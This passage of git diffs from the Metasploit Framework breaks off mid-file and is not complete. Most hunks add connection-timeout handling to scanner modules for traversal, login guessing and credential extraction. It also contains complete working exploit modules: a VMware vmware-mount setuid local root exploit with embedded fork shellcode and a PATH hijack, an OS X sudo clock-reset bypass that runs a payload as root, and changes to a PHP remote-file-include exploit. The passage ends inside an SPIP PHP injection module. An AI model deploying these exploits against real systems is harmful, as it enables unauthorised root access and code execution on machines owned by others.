@ -40,7 +38,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
File.join(Msf::Config.install_root, "data", "wordlists", "cms400net_default_userpass.txt")
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# "Set to false to prevent account lockouts - it will!"
|
||||
deregister_options('BLANK_PASSWORDS')
|
||||
end
|
||||
|
||||
def target_url
|
||||
#Function to display correct protocol and host/vhost info
|
||||
|
@ -58,6 +59,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def gen_blank_passwords(users, credentials)
|
||||
return credentials
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
|
@ -66,6 +71,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => normalize_uri(datastore['URI'])
|
||||
}, 20)
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
#Check for HTTP 200 response.
|
||||
#Numerous versions and configs make if difficult to further fingerprint.
|
||||
if (res and res.code == 200)
|
||||
|
|
|
@ -62,7 +62,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => "#{uri}#{nullbytetxt}",
|
||||
}, 25)
|
||||
|
||||
version = res.headers['Server'] if res
|
||||
if res.nil?
|
||||
print_error("#{target_url} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
version = res.headers['Server']
|
||||
|
||||
if vuln_versions.include?(version)
|
||||
print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}")
|
||||
|
|
|
@ -43,11 +43,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def target_url
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
"http://#{vhost}:#{rport}#{datastore['URI']}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
trav_strings = [
|
||||
'../',
|
||||
|
@ -71,6 +66,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => uri + payload,
|
||||
}, 25)
|
||||
|
||||
if res.nil?
|
||||
print_error("#{rhost}:#{rport} Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} Trying URL " + payload )
|
||||
|
||||
if (res and res.code == 200 and res.body)
|
||||
|
@ -93,6 +93,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("#{rhost}:#{rport} No HTML was returned")
|
||||
end
|
||||
else
|
||||
# if res is nil, we hit this
|
||||
print_error("#{rhost}:#{rport} Unrecognized #{res.code} response")
|
||||
end
|
||||
i += 1;
|
||||
|
|
|
@ -72,7 +72,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => "#{uri}#{get_source}",
|
||||
}, 25)
|
||||
|
||||
if res
|
||||
if res.nil?
|
||||
print_error("#{target_url} - nginx - Connection timed out")
|
||||
return
|
||||
else
|
||||
version = res.headers['Server']
|
||||
http_fingerprint({ :response => res })
|
||||
end
|
||||
|
|
|
@ -69,6 +69,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cmd_var => cmd
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return "", "" # Empty username & password
|
||||
end
|
||||
|
||||
creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
|
||||
return creds.split(":")
|
||||
end
|
||||
|
@ -89,6 +95,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Found Version #{ver}")
|
||||
session_id,cmd = setup_session()
|
||||
user,pass = get_creds(session_id,cmd)
|
||||
return if user.empty? and pass.empty?
|
||||
print_good("Got creds. Login:#{user} Password:#{pass}")
|
||||
print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
|
||||
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => datastore['METHOD'] == 'POST' ? query.to_query : datastore['DATA']
|
||||
}, 20)
|
||||
|
||||
if resp.code == 500
|
||||
if resp and resp.code == 500
|
||||
print_good("#{ip} - Possible attributes mass assignment in attribute #{param}[...] at #{datastore['PATH']}")
|
||||
report_web_vuln(
|
||||
:host => rhost,
|
||||
|
|
|
@ -86,6 +86,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("#{rhost}:#{rport} - Connection timed out")
|
||||
return :abort
|
||||
end
|
||||
|
||||
check_key = "The user has logged in successfully."
|
||||
|
||||
key = JSON.parse(res.body)["statusString"]
|
||||
|
|
|
@ -52,9 +52,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => trav+file,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200)
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200
|
||||
#print_status("Output Of Requested File:\n#{res.body}")
|
||||
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
|
||||
report_vuln(
|
||||
|
|
|
@ -136,12 +136,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'ctype' => 'text/plain'
|
||||
}, 20)
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if testmesg.empty? or usecode
|
||||
if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg))))
|
||||
if (res.code.to_i == ecode) or (emesg and res.body.index(emesg))
|
||||
if dm == false
|
||||
print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}")
|
||||
#blah
|
||||
end
|
||||
else
|
||||
if res.code.to_i == 400 and ecode != 400
|
||||
|
@ -174,7 +177,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
else
|
||||
if dm == false
|
||||
print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}")
|
||||
#blah
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -111,10 +111,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => post_data,
|
||||
}, 20)
|
||||
|
||||
if res.nil?
|
||||
print_error("#{target_url} - Connection timed out")
|
||||
return :abort
|
||||
end
|
||||
|
||||
|
||||
valid_user = false
|
||||
|
||||
if (res and res.code == 200 )
|
||||
if res.code == 200
|
||||
if (res.body.to_s =~ /Incorrect password/ )
|
||||
valid_user = true
|
||||
|
||||
|
@ -150,7 +155,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
return :abort
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -45,6 +45,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => "#{$uri}\/$defaultview?Readviewentries",
|
||||
}, 25)
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if (res and res.body.to_s =~ /\<viewentries/)
|
||||
print_good("http://#{vhost}:#{rport} - Lotus Domino - OK names.nsf accessible without credentials")
|
||||
cookie = ''
|
||||
|
@ -85,6 +90,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => post_data,
|
||||
}, 20)
|
||||
|
||||
if res.nil?
|
||||
print_error("http://#{vhost}:#{rport} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if (res and res.code == 302 )
|
||||
if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
|
||||
cookie = "DomAuthSessId=#{$1}"
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'version' => '1.1',
|
||||
}, 5)
|
||||
|
||||
if ( res.body =~ /SERVICE_NAME=/ )
|
||||
if res and res.body =~ /SERVICE_NAME=/
|
||||
select(nil,nil,nil,2)
|
||||
sid = res.body.scan(/SERVICE_NAME=([^\)]+)/)
|
||||
report_note(
|
||||
|
|
|
@ -242,7 +242,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
}, -1)
|
||||
|
||||
if (res.code == 200)
|
||||
if res and res.code == 200
|
||||
if (not res.body.length > 0)
|
||||
# sometimes weird bug where body doesn't have value yet
|
||||
res.body = res.bufq
|
||||
|
@ -294,7 +294,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
}, -1)
|
||||
|
||||
if (res.code == 200)
|
||||
if res and res.code == 200
|
||||
if (not res.body.length > 0)
|
||||
# sometimes weird bug where body doesn't have value yet
|
||||
res.body = res.bufq
|
||||
|
|
|
@ -91,6 +91,11 @@ class Metasploit4 < Msf::Auxiliary
|
|||
}
|
||||
}, 15)
|
||||
|
||||
if res.nil?
|
||||
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200
|
||||
body = res.body
|
||||
if body.match(/<property>CentralServices<\/property><propertytype>Attribute<\/propertytype><value>([^<]+)<\/value>/)
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on
|
||||
common networks.
|
||||
|
||||
This module must be run as root and will bind to tcp/137 on all interfaces.
|
||||
This module must be run as root and will bind to udp/137 on all interfaces.
|
||||
},
|
||||
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -0,0 +1,105 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
|
||||
'Description' => %q{
|
||||
VMWare Workstation (up to and including 9.0.2 build-1031769)
|
||||
and Player have a setuid executable called vmware-mount that
|
||||
invokes lsb_release in the PATH with popen(3). Since PATH is
|
||||
user-controlled, and the default system shell on
|
||||
Debian-derived distributions does not drop privs, we can put
|
||||
an arbitrary payload in an executable called lsb_release and
|
||||
have vmware-mount happily execute it as root for us.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy', # Vulnerability discovery and PoC
|
||||
'egypt' # Metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
"PrependSetresuid" => true,
|
||||
"PrependSetresgid" => true,
|
||||
},
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'CVE', '2013-1662' ],
|
||||
[ 'OSVDB', '96588' ],
|
||||
[ 'BID', '61966'],
|
||||
[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
|
||||
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
|
||||
],
|
||||
'DisclosureDate' => "Aug 22 2013"
|
||||
}
|
||||
))
|
||||
# Handled by ghetto hardcoding below.
|
||||
deregister_options("PrependFork")
|
||||
end
|
||||
|
||||
def check
|
||||
if setuid?("/usr/bin/vmware-mount")
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable
|
||||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||
end
|
||||
|
||||
# Ghetto PrependFork action which is apparently only implemented for
|
||||
# Meterpreter.
|
||||
# XXX Put this in a mixin somewhere
|
||||
# if(fork()) exit(0);
|
||||
# 6A02 push byte +0x2
|
||||
# 58 pop eax
|
||||
# CD80 int 0x80 ; fork
|
||||
# 85C0 test eax,eax
|
||||
# 7406 jz 0xf
|
||||
# 31C0 xor eax,eax
|
||||
# B001 mov al,0x1
|
||||
# CD80 int 0x80 ; exit
|
||||
exe = generate_payload_exe(
|
||||
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
|
||||
)
|
||||
write_file("lsb_release", exe)
|
||||
|
||||
cmd_exec("chmod +x lsb_release")
|
||||
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
|
||||
# Delete it here instead of using FileDropper because the original
|
||||
# session can clean it up
|
||||
cmd_exec("rm -f lsb_release")
|
||||
end
|
||||
|
||||
def setuid?(remote_file)
|
||||
!!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'linux',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
|
|
|
@ -0,0 +1,238 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
#
|
||||
# http://metasploit.com/
|
||||
##
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'shellwords'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
|
||||
# ManualRanking because it's going to modify system time
|
||||
# Even when it will try to restore things, user should use
|
||||
# it at his own risk
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
|
||||
SUDOER_GROUP = "admin"
|
||||
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
|
||||
|
||||
# saved clock config
|
||||
attr_accessor :time, :date, :networked, :zone, :network_server
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Sudo Password Bypass',
|
||||
'Description' => %q{
|
||||
This module gains a session with root permissions on versions of OS X with
|
||||
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
|
||||
and possibly lower versions.
|
||||
|
||||
If your session belongs to a user with Administrative Privileges
|
||||
(the user is in the sudoers file and is in the "admin group"), and the
|
||||
user has ever run the "sudo" command, it is possible to become the super
|
||||
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
|
||||
|
||||
This module will fail silently if the user is not an admin or if the user has never
|
||||
run the sudo command.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Todd C. Miller', # Vulnerability discovery
|
||||
'joev <jvennix[at]rapid7.com>', # Metasploit module
|
||||
'juan vazquez' # testing/fixing module bugs
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-1775' ],
|
||||
[ 'OSVDB', '90677' ],
|
||||
[ 'BID', '58203' ],
|
||||
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
|
||||
],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x64 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64
|
||||
}
|
||||
],
|
||||
[ 'CMD',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Feb 28 2013'
|
||||
))
|
||||
register_advanced_options([
|
||||
OptString.new('TMP_FILE',
|
||||
[true,'For the native targets, specifies the path that '+
|
||||
'the executable will be dropped on the client machine.',
|
||||
'/tmp/.<random>/<random>']
|
||||
),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# ensure target is vulnerable by checking sudo vn and checking
|
||||
# user is in admin group.
|
||||
def check
|
||||
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
|
||||
sudo_vn = $1
|
||||
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
|
||||
# check vn between 1.6.0 through 1.7.10p6
|
||||
# and 1.8.0 through 1.8.6p6
|
||||
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
|
||||
print_error "sudo version #{sudo_vn} not vulnerable."
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
print_error "sudo not detected on the system."
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if not user_in_admin_group?
|
||||
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
# one root for you sir
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
if not user_in_admin_group?
|
||||
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
|
||||
end
|
||||
# "remember" the current system time/date/network/zone
|
||||
print_good("User is an admin, continuing...")
|
||||
|
||||
# drop the payload (unless CMD)
|
||||
if using_native_target?
|
||||
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
|
||||
write_file(drop_path, generate_payload_exe)
|
||||
register_files_for_cleanup(drop_path)
|
||||
cmd_exec("chmod +x #{[drop_path].shelljoin}")
|
||||
print_status("Payload dropped and registered for cleanup")
|
||||
end
|
||||
|
||||
print_status("Saving system clock config...")
|
||||
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
|
||||
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
|
||||
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
|
||||
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
|
||||
@network_server = if @networked
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
|
||||
end
|
||||
|
||||
run_sudo_cmd
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status("Resetting system clock to original values") if @time
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
|
||||
|
||||
if @networked
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
|
||||
unless @network_server.nil?
|
||||
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
|
||||
end
|
||||
end
|
||||
|
||||
print_good("Completed clock reset.") if @time
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def run_sudo_cmd
|
||||
print_status("Resetting user's time stamp file and setting clock to the epoch")
|
||||
cmd_exec(
|
||||
"sudo -k; \n"+
|
||||
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
|
||||
" -setdate 01:01:1970 -settime 00:00"
|
||||
)
|
||||
|
||||
# Run Test
|
||||
test = rand_text_alpha(4 + rand(4))
|
||||
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
|
||||
|
||||
print_status("Testing that user has sudoed before...")
|
||||
output = cmd_exec('echo "" | ' + sudo_cmd_test)
|
||||
|
||||
if output =~ /incorrect password attempts\s*$/i
|
||||
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
|
||||
elsif output =~ /#{test}/
|
||||
print_good("Test executed succesfully. Running payload.")
|
||||
else
|
||||
print_error("Unknown fail while testing, trying to execute the payload anyway...")
|
||||
end
|
||||
|
||||
# Run Payload
|
||||
sudo_cmd_raw = if using_native_target?
|
||||
['sudo', '-S', [drop_path].shelljoin].join(' ')
|
||||
elsif using_cmd_target?
|
||||
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
|
||||
end
|
||||
|
||||
## to prevent the password prompt from destroying session
|
||||
## backgrounding the sudo payload in order to keep both sessions usable
|
||||
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
|
||||
|
||||
print_status "Running command: "
|
||||
print_line sudo_cmd
|
||||
output = cmd_exec(sudo_cmd)
|
||||
|
||||
end
|
||||
|
||||
# helper methods for accessing datastore
|
||||
def using_native_target?; target.name =~ /native/i; end
|
||||
def using_cmd_target?; target.name =~ /cmd/i; end
|
||||
def drop_path
|
||||
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
|
||||
end
|
||||
|
||||
# checks that the user is in OSX's admin group, necessary to change sys clock
|
||||
def user_in_admin_group?
|
||||
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
|
||||
end
|
||||
|
||||
# helper methods for dealing with sudo's vn num
|
||||
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end
|
||||
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
|
||||
vn_parts = parse_vn(vn)
|
||||
ranges.any? do |range|
|
||||
min_parts = parse_vn(range[0])
|
||||
max_parts = parse_vn(range[1])
|
||||
vn_parts.all? do |part|
|
||||
min = min_parts.shift
|
||||
max = max_parts.shift
|
||||
(min.nil? or (not part.nil? and part >= min)) and
|
||||
(part.nil? or (not max.nil? and part <= max))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module exploits a remote code execution vulnerability in the pickle
|
||||
handling of the rendering code in the Graphite Web project between version
|
||||
0.9.5 and 0.9.10(both included).
|
||||
0.9.5 and 0.9.10 (both included).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -77,4 +77,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
})
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PHP Remote File Include Generic Code Execution',
|
||||
'Description' => %q{
|
||||
'Name' => 'PHP Remote File Include Generic Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to exploit any generic PHP file include vulnerability,
|
||||
where the application includes code like the following:
|
||||
|
||||
<?php include($_GET['path']); ?>
|
||||
},
|
||||
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
#'References' => [ ],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
#'References' => [ ],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
# Arbitrary big number. The payload gets sent as an HTTP
|
||||
# response body, so really it's unlimited
|
||||
'Space' => 262144, # 256k
|
||||
'Space' => 262144, # 256k
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30
|
||||
},
|
||||
'DisclosureDate' => 'Dec 17 2006',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
|
@ -59,19 +59,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
|
||||
if(uri and ! uri.empty?)
|
||||
uri.gsub!(/\?.*/, "")
|
||||
print_status("Checking uri #{uri}")
|
||||
response = send_request_raw({ 'uri' => uri})
|
||||
return Exploit::CheckCode::Detected if response.code == 200
|
||||
print_error("Server responded with #{response.code}")
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
def check
|
||||
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
|
||||
|
||||
tpath = normalize_uri(datastore['PATH'])
|
||||
if tpath[-1,1] == '/'
|
||||
tpath = tpath.chop
|
||||
end
|
||||
|
||||
if(uri and ! uri.empty?)
|
||||
uri.gsub!(/\?.*/, "")
|
||||
print_status("Checking uri #{rhost+tpath+uri}")
|
||||
response = send_request_raw({ 'uri' => tpath+uri})
|
||||
return Exploit::CheckCode::Detected if response.code == 200
|
||||
print_error("Server responded with #{response.code}")
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def datastore_headers
|
||||
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
|
||||
|
@ -128,23 +134,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uris.each do |uri|
|
||||
break if session_created?
|
||||
|
||||
# print_status("Sending #{tpath+uri}")
|
||||
vprint_status("Sending: #{rhost+tpath+uri}")
|
||||
begin
|
||||
if http_method == "GET"
|
||||
response = send_request_raw( {
|
||||
'global' => true,
|
||||
'uri' => tpath+uri,
|
||||
'uri' => tpath+uri,
|
||||
'headers' => datastore_headers,
|
||||
}, timeout)
|
||||
elsif http_method == "POST"
|
||||
response = send_request_raw(
|
||||
{
|
||||
'global' => true,
|
||||
'uri' => tpath+uri,
|
||||
'method' => http_method,
|
||||
'data' => postdata,
|
||||
'global' => true,
|
||||
'uri' => tpath+uri,
|
||||
'method' => http_method,
|
||||
'data' => postdata,
|
||||
'headers' => datastore_headers.merge({
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Content-Length' => postdata.length
|
||||
})
|
||||
}, timeout)
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SPIP connect Parameter PHP Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
|
||||
connect parameter and allows an unauthenticated user to execute arbitrary commands
|
||||
with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
|
||||
are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
|
||||
has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
|
||||
and Fedora linux distributions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Arnaud Pachot', #Initial discovery
|
||||
'Frederic Cikala', # PoC
|
||||
'Davy Douhine' # PoC and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '83543' ],
|
||||
[ 'BID', '54292' ],
|
||||
[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 04 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
